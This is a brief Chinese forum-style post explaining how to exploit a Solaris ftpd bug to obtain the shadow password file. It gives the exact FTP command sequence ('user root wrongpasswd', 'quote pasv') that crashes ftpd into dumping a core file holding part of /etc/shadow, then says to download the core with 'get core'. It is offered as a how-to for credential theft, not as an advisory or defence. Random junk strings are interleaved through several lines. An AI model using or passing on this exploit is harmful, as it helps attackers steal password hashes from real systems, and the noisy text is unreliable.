如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

- t* r4 a2 ]9 Q. @0 `, Y1.通过 ftp 正常登录到目的主机上

2.输入如下命令序列：

ftp> user root wrongpasswd

5 T7 |# w. a$ i* }7 S/ F# Jftp> quote pasv

3 y6 a+ {6 a! z. c3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
' Y4 P! M$ _( t9 T
' M- N/ [; U, C  k% l4.再次进入FTP >get core

补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了
7 g3 x' R# g9 c
5 h4 f4 U) Z" ~) f4 Z